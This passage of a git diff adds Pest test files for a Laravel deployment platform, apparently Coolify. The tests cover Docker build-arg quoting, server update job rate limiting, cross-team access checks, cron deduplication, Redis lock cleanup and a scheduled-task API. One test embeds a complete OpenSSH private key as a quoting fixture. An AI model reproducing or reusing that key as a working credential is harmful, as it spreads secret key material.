- // Should use escapeshellarg (single quotes) since is_multiline defaults to false
- expect($arg)->toBe("--build-arg NO_FLAG_VAR='some value'");
-});
-
-test('real world SSH key example', function () {
- // Simulate what real_value returns (wrapped in single quotes)
- $sshKey = "'-----BEGIN OPENSSH PRIVATE KEY-----
-b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
-QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
-hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
-AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
-uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
------END OPENSSH PRIVATE KEY-----'";
-
- $variables = [
- ['key' => 'KEY', 'value' => $sshKey, 'is_multiline' => true],
- ];
-
- $buildArgs = generateDockerBuildArgs($variables);
- $arg = $buildArgs->first();
-
- // Should produce clean output without wrapper quotes
- expect($arg)->toStartWith('--build-arg KEY="-----BEGIN OPENSSH PRIVATE KEY-----');
- expect($arg)->toEndWith('-----END OPENSSH PRIVATE KEY-----"');
- // Should NOT have the escaped quote sequence that was in the bug
- expect($arg)->not->toContain("''");
- expect($arg)->not->toContain("'\\''");
-});
diff --git a/tests/Feature/PushServerUpdateJobOptimizationTest.php b/tests/Feature/PushServerUpdateJobOptimizationTest.php
new file mode 100644
index 000000000..eb51059db
--- /dev/null
+++ b/tests/Feature/PushServerUpdateJobOptimizationTest.php
@@ -0,0 +1,150 @@
+create();
+ $server = Server::factory()->create(['team_id' => $team->id]);
+
+ $data = [
+ 'containers' => [],
+ 'filesystem_usage_root' => ['used_percentage' => 45],
+ ];
+
+ $job = new PushServerUpdateJob($server, $data);
+ $job->handle();
+
+ Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) {
+ return $job->server->id === $server->id && $job->percentage === 45;
+ });
+});
+
+it('does not dispatch storage check when disk percentage is unchanged', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create(['team_id' => $team->id]);
+
+ // Simulate a previous push that cached the percentage
+ Cache::put('storage-check:'.$server->id, 45, 600);
+
+ $data = [
+ 'containers' => [],
+ 'filesystem_usage_root' => ['used_percentage' => 45],
+ ];
+
+ $job = new PushServerUpdateJob($server, $data);
+ $job->handle();
+
+ Queue::assertNotPushed(ServerStorageCheckJob::class);
+});
+
+it('dispatches storage check when disk percentage changes from cached value', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create(['team_id' => $team->id]);
+
+ // Simulate a previous push that cached 45%
+ Cache::put('storage-check:'.$server->id, 45, 600);
+
+ $data = [
+ 'containers' => [],
+ 'filesystem_usage_root' => ['used_percentage' => 50],
+ ];
+
+ $job = new PushServerUpdateJob($server, $data);
+ $job->handle();
+
+ Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) {
+ return $job->server->id === $server->id && $job->percentage === 50;
+ });
+});
+
+it('rate-limits ConnectProxyToNetworksJob dispatch to every 10 minutes', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create(['team_id' => $team->id]);
+ $server->settings->update(['is_reachable' => true, 'is_usable' => true]);
+
+ // First push: should dispatch ConnectProxyToNetworksJob
+ $containersWithProxy = [
+ [
+ 'name' => 'coolify-proxy',
+ 'state' => 'running',
+ 'health_status' => 'healthy',
+ 'labels' => ['coolify.managed' => true],
+ ],
+ ];
+
+ $data = [
+ 'containers' => $containersWithProxy,
+ 'filesystem_usage_root' => ['used_percentage' => 10],
+ ];
+
+ $job = new PushServerUpdateJob($server, $data);
+ $job->handle();
+
+ Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
+
+ // Second push: should NOT dispatch ConnectProxyToNetworksJob (rate-limited)
+ Queue::fake();
+ $job2 = new PushServerUpdateJob($server, $data);
+ $job2->handle();
+
+ Queue::assertNotPushed(ConnectProxyToNetworksJob::class);
+});
+
+it('dispatches ConnectProxyToNetworksJob again after cache expires', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create(['team_id' => $team->id]);
+ $server->settings->update(['is_reachable' => true, 'is_usable' => true]);
+
+ $containersWithProxy = [
+ [
+ 'name' => 'coolify-proxy',
+ 'state' => 'running',
+ 'health_status' => 'healthy',
+ 'labels' => ['coolify.managed' => true],
+ ],
+ ];
+
+ $data = [
+ 'containers' => $containersWithProxy,
+ 'filesystem_usage_root' => ['used_percentage' => 10],
+ ];
+
+ // First push
+ $job = new PushServerUpdateJob($server, $data);
+ $job->handle();
+
+ Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
+
+ // Clear cache to simulate expiration
+ Cache::forget('connect-proxy:'.$server->id);
+
+ // Next push: should dispatch again
+ Queue::fake();
+ $job2 = new PushServerUpdateJob($server, $data);
+ $job2->handle();
+
+ Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
+});
+
+it('uses default queue for PushServerUpdateJob', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create(['team_id' => $team->id]);
+
+ $job = new PushServerUpdateJob($server, ['containers' => []]);
+
+ expect($job->queue)->toBeNull();
+});
diff --git a/tests/Feature/PushServerUpdateJobTest.php b/tests/Feature/PushServerUpdateJobTest.php
new file mode 100644
index 000000000..d508d58ab
--- /dev/null
+++ b/tests/Feature/PushServerUpdateJobTest.php
@@ -0,0 +1,76 @@
+create();
+ $service = Service::factory()->create([
+ 'server_id' => $server->id,
+ ]);
+ $serviceApp = ServiceApplication::factory()->create([
+ 'service_id' => $service->id,
+ ]);
+
+ $data = [
+ 'containers' => [
+ [
+ 'name' => 'test-container',
+ 'state' => 'running',
+ 'health_status' => 'healthy',
+ 'labels' => [
+ 'coolify.managed' => true,
+ 'coolify.serviceId' => (string) $service->id,
+ 'coolify.service.subType' => 'application',
+ 'coolify.service.subId' => '',
+ ],
+ ],
+ ],
+ ];
+
+ $job = new PushServerUpdateJob($server, $data);
+
+ // Run handle - should not throw a PDOException about empty bigint
+ $job->handle();
+
+ // The empty subId container should have been skipped
+ expect($job->foundServiceApplicationIds)->not->toContain('');
+ expect($job->serviceContainerStatuses)->toBeEmpty();
+});
+
+test('containers with valid service subId are processed', function () {
+ $server = Server::factory()->create();
+ $service = Service::factory()->create([
+ 'server_id' => $server->id,
+ ]);
+ $serviceApp = ServiceApplication::factory()->create([
+ 'service_id' => $service->id,
+ ]);
+
+ $data = [
+ 'containers' => [
+ [
+ 'name' => 'test-container',
+ 'state' => 'running',
+ 'health_status' => 'healthy',
+ 'labels' => [
+ 'coolify.managed' => true,
+ 'coolify.serviceId' => (string) $service->id,
+ 'coolify.service.subType' => 'application',
+ 'coolify.service.subId' => (string) $serviceApp->id,
+ 'com.docker.compose.service' => 'myapp',
+ ],
+ ],
+ ],
+ ];
+
+ $job = new PushServerUpdateJob($server, $data);
+ $job->handle();
+
+ expect($job->foundServiceApplicationIds)->toContain((string) $serviceApp->id);
+});
diff --git a/tests/Feature/ResourceOperationsCrossTenantTest.php b/tests/Feature/ResourceOperationsCrossTenantTest.php
new file mode 100644
index 000000000..056c7757c
--- /dev/null
+++ b/tests/Feature/ResourceOperationsCrossTenantTest.php
@@ -0,0 +1,85 @@
+userA = User::factory()->create();
+ $this->teamA = Team::factory()->create();
+ $this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
+
+ $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
+ $this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
+ $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
+ $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
+
+ $this->applicationA = Application::factory()->create([
+ 'environment_id' => $this->environmentA->id,
+ 'destination_id' => $this->destinationA->id,
+ 'destination_type' => $this->destinationA->getMorphClass(),
+ ]);
+
+ // Team B (victim's team)
+ $this->teamB = Team::factory()->create();
+ $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
+ $this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]);
+ $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
+ $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
+
+ $this->actingAs($this->userA);
+ session(['currentTeam' => $this->teamA]);
+});
+
+test('cloneTo rejects destination belonging to another team', function () {
+ Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
+ ->call('cloneTo', $this->destinationB->id)
+ ->assertHasErrors('destination_id');
+
+ // Ensure no cross-tenant application was created
+ expect(Application::where('destination_id', $this->destinationB->id)->exists())->toBeFalse();
+});
+
+test('cloneTo allows destination belonging to own team', function () {
+ $secondDestination = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
+
+ Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
+ ->call('cloneTo', $secondDestination->id)
+ ->assertHasNoErrors('destination_id')
+ ->assertRedirect();
+});
+
+test('moveTo rejects environment belonging to another team', function () {
+ Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
+ ->call('moveTo', $this->environmentB->id);
+
+ // Resource should still be in original environment
+ $this->applicationA->refresh();
+ expect($this->applicationA->environment_id)->toBe($this->environmentA->id);
+});
+
+test('moveTo allows environment belonging to own team', function () {
+ $secondEnvironment = Environment::factory()->create(['project_id' => $this->projectA->id]);
+
+ Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
+ ->call('moveTo', $secondEnvironment->id)
+ ->assertRedirect();
+
+ $this->applicationA->refresh();
+ expect($this->applicationA->environment_id)->toBe($secondEnvironment->id);
+});
+
+test('StandaloneDockerPolicy denies update for cross-team user', function () {
+ expect($this->userA->can('update', $this->destinationB))->toBeFalse();
+});
+
+test('StandaloneDockerPolicy allows update for same-team user', function () {
+ expect($this->userA->can('update', $this->destinationA))->toBeTrue();
+});
diff --git a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php
new file mode 100644
index 000000000..f820c3777
--- /dev/null
+++ b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php
@@ -0,0 +1,222 @@
+getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1');
+
+ expect($result)->toBeTrue();
+});
+
+it('catches delayed job when cache has a baseline from previous run', function () {
+ // Simulate a previous dispatch yesterday at 02:00
+ Cache::put('test-backup:1', Carbon::create(2026, 2, 27, 2, 0, 0, 'UTC')->toIso8601String(), 86400);
+
+ // Freeze time at 02:07 — job was delayed 7 minutes past today's 02:00 cron
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 7, 0, 'UTC'));
+
+ $job = new ScheduledJobManager;
+
+ $reflection = new ReflectionClass($job);
+
+ $executionTimeProp = $reflection->getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ // isDue() would return false at 02:07, but getPreviousRunDate() = 02:00 today
+ // lastDispatched = 02:00 yesterday → 02:00 today > yesterday → fires
+ $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1');
+
+ expect($result)->toBeTrue();
+});
+
+it('does not double-dispatch on subsequent runs within same cron window', function () {
+ // First run at 02:00 — dispatches and sets cache
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
+
+ $job = new ScheduledJobManager;
+ $reflection = new ReflectionClass($job);
+
+ $executionTimeProp = $reflection->getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ $first = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2');
+ expect($first)->toBeTrue();
+
+ // Second run at 02:01 — should NOT dispatch (previousDue=02:00, lastDispatched=02:00)
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $second = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2');
+ expect($second)->toBeFalse();
+});
+
+it('fires every_minute cron correctly on consecutive minutes', function () {
+ $job = new ScheduledJobManager;
+ $reflection = new ReflectionClass($job);
+
+ $executionTimeProp = $reflection->getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ // Minute 1
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
+ $executionTimeProp->setValue($job, Carbon::now());
+ $result1 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
+ expect($result1)->toBeTrue();
+
+ // Minute 2
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 1, 0, 'UTC'));
+ $executionTimeProp->setValue($job, Carbon::now());
+ $result2 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
+ expect($result2)->toBeTrue();
+
+ // Minute 3
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 2, 0, 'UTC'));
+ $executionTimeProp->setValue($job, Carbon::now());
+ $result3 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
+ expect($result3)->toBeTrue();
+});
+
+it('does not fire non-due jobs on restart when cache is empty', function () {
+ // Time is 10:00, cron is daily at 02:00 — NOT due right now
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
+
+ $job = new ScheduledJobManager;
+ $reflection = new ReflectionClass($job);
+
+ $executionTimeProp = $reflection->getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ // Cache is empty (fresh restart) — should NOT fire daily backup at 10:00
+ $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4');
+ expect($result)->toBeFalse();
+});
+
+it('fires due jobs on restart when cache is empty', function () {
+ // Time is exactly 02:00, cron is daily at 02:00 — IS due right now
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
+
+ $job = new ScheduledJobManager;
+ $reflection = new ReflectionClass($job);
+
+ $executionTimeProp = $reflection->getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ // Cache is empty (fresh restart) — but cron IS due → should fire
+ $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4b');
+ expect($result)->toBeTrue();
+});
+
+it('does not dispatch when cron is not due and was not recently due', function () {
+ // Time is 10:00, cron is daily at 02:00 — last due was 8 hours ago
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
+
+ $job = new ScheduledJobManager;
+ $reflection = new ReflectionClass($job);
+
+ $executionTimeProp = $reflection->getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ // previousDue = 02:00, but lastDispatched was set at 02:00 (simulate)
+ Cache::put('test-backup:5', Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')->toIso8601String(), 86400);
+
+ $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:5');
+ expect($result)->toBeFalse();
+});
+
+it('falls back to isDue when no dedup key is provided', function () {
+ // Time is exactly 02:00, cron is "0 2 * * *" — should be due
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
+
+ $job = new ScheduledJobManager;
+ $reflection = new ReflectionClass($job);
+
+ $executionTimeProp = $reflection->getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ // No dedup key → simple isDue check
+ $result = $method->invoke($job, '0 2 * * *', 'UTC');
+ expect($result)->toBeTrue();
+
+ // At 02:01 without dedup key → isDue returns false
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $result2 = $method->invoke($job, '0 2 * * *', 'UTC');
+ expect($result2)->toBeFalse();
+});
+
+it('respects server timezone for cron evaluation', function () {
+ // UTC time is 22:00 Feb 28, which is 06:00 Mar 1 in Asia/Singapore (+8)
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 22, 0, 0, 'UTC'));
+
+ $job = new ScheduledJobManager;
+ $reflection = new ReflectionClass($job);
+
+ $executionTimeProp = $reflection->getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ // Simulate that today's 06:00 UTC run was already dispatched (at 06:00 UTC)
+ Cache::put('test-backup:7', Carbon::create(2026, 2, 28, 6, 0, 0, 'UTC')->toIso8601String(), 86400);
+
+ // Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → previousDue = 06:00 Mar 1 SGT
+ // That's a NEW cron window (Mar 1) that hasn't been dispatched → should fire
+ $resultSingapore = $method->invoke($job, '0 6 * * *', 'Asia/Singapore', 'test-backup:6');
+ expect($resultSingapore)->toBeTrue();
+
+ // Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28 UTC, already dispatched at 06:00 → should NOT fire
+ $resultUtc = $method->invoke($job, '0 6 * * *', 'UTC', 'test-backup:7');
+ expect($resultUtc)->toBeFalse();
+});
diff --git a/tests/Feature/ScheduledJobManagerStaleLockTest.php b/tests/Feature/ScheduledJobManagerStaleLockTest.php
new file mode 100644
index 000000000..e297c07bd
--- /dev/null
+++ b/tests/Feature/ScheduledJobManagerStaleLockTest.php
@@ -0,0 +1,49 @@
+set($lockKey, 'stale-owner');
+
+ expect($redis->ttl($lockKey))->toBe(-1);
+
+ $job = new ScheduledJobManager;
+ $job->middleware();
+
+ expect($redis->exists($lockKey))->toBe(0);
+});
+
+it('preserves valid lock with positive TTL', function () {
+ $cachePrefix = config('cache.prefix');
+ $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
+
+ $redis = Redis::connection('default');
+ $redis->set($lockKey, 'active-owner');
+ $redis->expire($lockKey, 60);
+
+ expect($redis->ttl($lockKey))->toBeGreaterThan(0);
+
+ $job = new ScheduledJobManager;
+ $job->middleware();
+
+ expect($redis->exists($lockKey))->toBe(1);
+
+ $redis->del($lockKey);
+});
+
+it('does not fail when no lock exists', function () {
+ $cachePrefix = config('cache.prefix');
+ $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
+
+ Redis::connection('default')->del($lockKey);
+
+ $job = new ScheduledJobManager;
+ $middleware = $job->middleware();
+
+ expect($middleware)->toBeArray()->toHaveCount(1);
+});
diff --git a/tests/Feature/ScheduledJobMonitoringTest.php b/tests/Feature/ScheduledJobMonitoringTest.php
new file mode 100644
index 000000000..036c3b638
--- /dev/null
+++ b/tests/Feature/ScheduledJobMonitoringTest.php
@@ -0,0 +1,272 @@
+rootTeam = Team::factory()->create(['id' => 0, 'name' => 'Root Team']);
+ $this->rootUser = User::factory()->create();
+ $this->rootUser->teams()->attach($this->rootTeam, ['role' => 'owner']);
+
+ // Create regular team and user
+ $this->regularTeam = Team::factory()->create();
+ $this->regularUser = User::factory()->create();
+ $this->regularUser->teams()->attach($this->regularTeam, ['role' => 'owner']);
+});
+
+test('scheduled jobs page requires instance admin access', function () {
+ $this->actingAs($this->regularUser);
+ session(['currentTeam' => $this->regularTeam]);
+
+ $response = $this->get(route('settings.scheduled-jobs'));
+ $response->assertRedirect(route('dashboard'));
+});
+
+test('scheduled jobs page is accessible by instance admin', function () {
+ $this->actingAs($this->rootUser);
+ session(['currentTeam' => $this->rootTeam]);
+
+ Livewire::test(ScheduledJobs::class)
+ ->assertStatus(200)
+ ->assertSee('Scheduled Job Issues');
+});
+
+test('scheduled jobs page shows failed backup executions', function () {
+ $this->actingAs($this->rootUser);
+ session(['currentTeam' => $this->rootTeam]);
+
+ $server = Server::factory()->create(['team_id' => $this->rootTeam->id]);
+
+ $backup = ScheduledDatabaseBackup::create([
+ 'team_id' => $this->rootTeam->id,
+ 'frequency' => '0 * * * *',
+ 'database_id' => 1,
+ 'database_type' => 'App\Models\StandalonePostgresql',
+ 'enabled' => true,
+ ]);
+
+ ScheduledDatabaseBackupExecution::create([
+ 'scheduled_database_backup_id' => $backup->id,
+ 'status' => 'failed',
+ 'message' => 'Backup failed: connection timeout',
+ ]);
+
+ Livewire::test(ScheduledJobs::class)
+ ->assertStatus(200)
+ ->assertSee('Backup');
+});
+
+test('scheduled jobs page shows failed cleanup executions', function () {
+ $this->actingAs($this->rootUser);
+ session(['currentTeam' => $this->rootTeam]);
+
+ $server = Server::factory()->create([
+ 'team_id' => $this->rootTeam->id,
+ ]);
+
+ DockerCleanupExecution::create([
+ 'server_id' => $server->id,
+ 'status' => 'failed',
+ 'message' => 'Cleanup failed: disk full',
+ ]);
+
+ Livewire::test(ScheduledJobs::class)
+ ->assertStatus(200)
+ ->assertSee('Cleanup');
+});
+
+test('filter by type works', function () {
+ $this->actingAs($this->rootUser);
+ session(['currentTeam' => $this->rootTeam]);
+
+ Livewire::test(ScheduledJobs::class)
+ ->set('filterType', 'backup')
+ ->assertStatus(200)
+ ->set('filterType', 'cleanup')
+ ->assertStatus(200)
+ ->set('filterType', 'task')
+ ->assertStatus(200);
+});
+
+test('only failed executions are shown', function () {
+ $this->actingAs($this->rootUser);
+ session(['currentTeam' => $this->rootTeam]);
+
+ $backup = ScheduledDatabaseBackup::create([
+ 'team_id' => $this->rootTeam->id,
+ 'frequency' => '0 * * * *',
+ 'database_id' => 1,
+ 'database_type' => 'App\Models\StandalonePostgresql',
+ 'enabled' => true,
+ ]);
+
+ ScheduledDatabaseBackupExecution::create([
+ 'scheduled_database_backup_id' => $backup->id,
+ 'status' => 'success',
+ 'message' => 'Backup completed successfully',
+ ]);
+
+ ScheduledDatabaseBackupExecution::create([
+ 'scheduled_database_backup_id' => $backup->id,
+ 'status' => 'failed',
+ 'message' => 'Backup failed: connection refused',
+ ]);
+
+ Livewire::test(ScheduledJobs::class)
+ ->assertSee('Backup failed: connection refused')
+ ->assertDontSee('Backup completed successfully');
+});
+
+test('filter by date range works', function () {
+ $this->actingAs($this->rootUser);
+ session(['currentTeam' => $this->rootTeam]);
+
+ Livewire::test(ScheduledJobs::class)
+ ->set('filterDate', 'last_7d')
+ ->assertStatus(200)
+ ->set('filterDate', 'last_30d')
+ ->assertStatus(200)
+ ->set('filterDate', 'all')
+ ->assertStatus(200);
+});
+
+test('scheduler log parser returns empty collection when no logs exist', function () {
+ $parser = new SchedulerLogParser;
+
+ $skips = $parser->getRecentSkips();
+ expect($skips)->toBeEmpty();
+
+ $runs = $parser->getRecentRuns();
+ expect($runs)->toBeEmpty();
+})->skip(fn () => file_exists(storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log')), 'Skipped: log file already exists from other tests');
+
+test('scheduler log parser parses skip entries correctly', function () {
+ $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log');
+ $logDir = dirname($logPath);
+ if (! is_dir($logDir)) {
+ mkdir($logDir, 0755, true);
+ }
+
+ $logLine = '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"server_not_functional","execution_time":"'.now()->toIso8601String().'","backup_id":1,"team_id":5}';
+ file_put_contents($logPath, $logLine."\n");
+
+ $parser = new SchedulerLogParser;
+ $skips = $parser->getRecentSkips();
+
+ expect($skips)->toHaveCount(1);
+ expect($skips->first()['type'])->toBe('backup');
+ expect($skips->first()['reason'])->toBe('server_not_functional');
+ expect($skips->first()['team_id'])->toBe(5);
+
+ // Cleanup
+ @unlink($logPath);
+});
+
+test('scheduler log parser excludes started events from runs', function () {
+ $logPath = storage_path('logs/scheduled-test-started-filter.log');
+ $logDir = dirname($logPath);
+ if (! is_dir($logDir)) {
+ mkdir($logDir, 0755, true);
+ }
+
+ // Temporarily rename existing logs so they don't interfere
+ $existingLogs = glob(storage_path('logs/scheduled-*.log'));
+ $renamed = [];
+ foreach ($existingLogs as $log) {
+ $tmp = $log.'.bak';
+ rename($log, $tmp);
+ $renamed[$tmp] = $log;
+ }
+
+ $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log');
+ $lines = [
+ '['.now()->format('Y-m-d H:i:s').'] production.INFO: ScheduledJobManager started {}',
+ '['.now()->format('Y-m-d H:i:s').'] production.INFO: ScheduledJobManager completed {"duration_ms":74,"dispatched":1,"skipped":13}',
+ ];
+ file_put_contents($logPath, implode("\n", $lines)."\n");
+
+ $parser = new SchedulerLogParser;
+ $runs = $parser->getRecentRuns();
+
+ expect($runs)->toHaveCount(1);
+ expect($runs->first()['message'])->toContain('completed');
+
+ // Cleanup
+ @unlink($logPath);
+ foreach ($renamed as $tmp => $original) {
+ rename($tmp, $original);
+ }
+});
+
+test('scheduler log parser filters by team id', function () {
+ $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log');
+ $logDir = dirname($logPath);
+ if (! is_dir($logDir)) {
+ mkdir($logDir, 0755, true);
+ }
+
+ $lines = [
+ '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"server_not_functional","team_id":1}',
+ '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"subscription_unpaid","team_id":2}',
+ ];
+ file_put_contents($logPath, implode("\n", $lines)."\n");
+
+ $parser = new SchedulerLogParser;
+
+ $allSkips = $parser->getRecentSkips(100);
+ expect($allSkips)->toHaveCount(2);
+
+ $team1Skips = $parser->getRecentSkips(100, 1);
+ expect($team1Skips)->toHaveCount(1);
+ expect($team1Skips->first()['team_id'])->toBe(1);
+
+ // Cleanup
+ @unlink($logPath);
+});
+
+test('skipped jobs show fallback when resource is deleted', function () {
+ $this->actingAs($this->rootUser);
+ session(['currentTeam' => $this->rootTeam]);
+
+ $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log');
+ $logDir = dirname($logPath);
+ if (! is_dir($logDir)) {
+ mkdir($logDir, 0755, true);
+ }
+
+ // Temporarily rename existing logs so they don't interfere
+ $existingLogs = glob(storage_path('logs/scheduled-*.log'));
+ $renamed = [];
+ foreach ($existingLogs as $log) {
+ $tmp = $log.'.bak';
+ rename($log, $tmp);
+ $renamed[$tmp] = $log;
+ }
+
+ $lines = [
+ '['.now()->format('Y-m-d H:i:s').'] production.INFO: Task skipped {"type":"task","skip_reason":"application_not_running","task_id":99999,"task_name":"my-cron-job","team_id":0}',
+ ];
+ file_put_contents($logPath, implode("\n", $lines)."\n");
+
+ Livewire::test(ScheduledJobs::class)
+ ->assertStatus(200)
+ ->assertSee('my-cron-job')
+ ->assertSee('Application not running');
+
+ // Cleanup
+ @unlink($logPath);
+ foreach ($renamed as $tmp => $original) {
+ rename($tmp, $original);
+ }
+});
diff --git a/tests/Feature/ScheduledTaskApiTest.php b/tests/Feature/ScheduledTaskApiTest.php
new file mode 100644
index 000000000..741082cff
--- /dev/null
+++ b/tests/Feature/ScheduledTaskApiTest.php
@@ -0,0 +1,371 @@
+ 0, 'is_api_enabled' => true]);
+
+ $this->team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ session(['currentTeam' => $this->team]);
+
+ $this->token = $this->user->createToken('test-token', ['*']);
+ $this->bearerToken = $this->token->plainTextToken;
+
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+ // Server::booted() auto-creates a StandaloneDocker, reuse it
+ $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
+ // Project::booted() auto-creates a 'production' Environment, reuse it
+ $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+ $this->environment = $this->project->environments()->first();
+});
+
+function scheduledTaskAuthHeaders($bearerToken): array
+{
+ return [
+ 'Authorization' => 'Bearer '.$bearerToken,
+ 'Content-Type' => 'application/json',
+ ];
+}
+
+describe('GET /api/v1/applications/{uuid}/scheduled-tasks', function () {
+ test('returns empty array when no tasks exist', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks");
+
+ $response->assertStatus(200);
+ $response->assertJson([]);
+ });
+
+ test('returns tasks when they exist', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ ScheduledTask::factory()->create([
+ 'application_id' => $application->id,
+ 'team_id' => $this->team->id,
+ 'name' => 'Test Task',
+ ]);
+
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks");
+
